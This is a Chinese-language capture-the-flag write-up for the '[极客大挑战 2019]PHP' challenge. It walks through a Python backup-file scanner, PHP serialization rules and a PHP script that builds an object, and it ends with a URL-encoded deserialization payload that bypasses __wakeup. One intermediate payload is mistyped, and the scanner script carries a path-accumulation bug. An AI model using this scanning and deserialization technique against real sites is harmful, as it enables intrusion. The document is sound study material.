[极客大挑战 2019]PHP 1

文章目录

    • PHP中的反序列化漏洞
    • 总结:

[极客大挑战 2019]PHP 1
[极客大挑战 2019]PHP 1_第1张图片看了看源码没什么东西,又看见提示他说有备份网站的好习惯,故我们进行dirsearch进行网站目录扫描

import requests
自动扫描网站备份文件自动化脚本

url = "http://0b7c4c5f-d25d-4329-b352-2ff4aa799c8d.node4.buuoj.cn:81"
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件名后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url = str(url) + '/' +back
        print(back+'  ', end='')
        print(requests.get(url).status_code)

通过这个脚本可以扫描出的www.zip是我们所需要的文件,是一个压缩包里面有一系列文件
[极客大挑战 2019]PHP 1_第2张图片发现里面有用的文件有
class.php,index.php
[极客大挑战 2019]PHP 1_第3张图片在这里插入图片描述

有unserialize函数说明我们所传入的内容被反序列化了,故我们应该传入一个序列化的内容
Select = $_GET['select']
 //这里需要传入序列化的内容
$res = unserialize(@$select); 

1. @符号在php中做错误控制操作符,当表达式附加@符号的时候,将忽略该表达式可能生成的错误信息,如果启用了track_errors功能php_errormsg中。每个错误都会覆盖此变量。

PHP中的反序列化漏洞

参考反序化漏洞
PHP反序列化漏洞实验

PHP中通常使用serialize函数进行序列化,使用unserialize函数进行反序列化。
serialize函数输出格式

NULL被序列化为:N
Boolean型数据序列化为:b:1,b:0,分别代表True和False
Integer型数据序列化为:i:数值
String型数据序列化为:s:长度:"值"
对象序列化为:O:类名长度:类名:字段数:字段

输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。
PHP中常用魔术方法

__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用

如果我们想要绕过__wakeup魔术,我们只需将对象属性设置加1,即可绕过
故我们构造payload:
O:4"Name":3{s:14"Name username";s:5:“admin”;s:14"Name password";i:100}
但其中的空格“\0”和引号"“URL是识别不了的,需要转换为URL编码:空格是%00,” 是%22

<?php 序列化脚本进行转换

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

然后url识别不了",改为%22
因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

总结:

1.了解了反序列化漏洞
2.学习了serialize和unserialize两个函数
3.private,和url特性

你可能感兴趣的:(web安全,网络安全)